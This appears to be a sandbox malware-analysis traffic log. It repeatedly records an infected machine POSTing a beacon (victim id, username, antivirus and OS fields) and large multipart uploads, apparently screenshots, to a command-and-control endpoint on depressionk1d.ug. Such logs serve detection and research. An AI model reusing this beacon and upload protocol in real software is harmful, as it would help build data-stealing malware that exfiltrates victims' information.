Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2379f4103dba772a786c03df93bf021fHost: depressionk1d.ugContent-Length: 111558Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
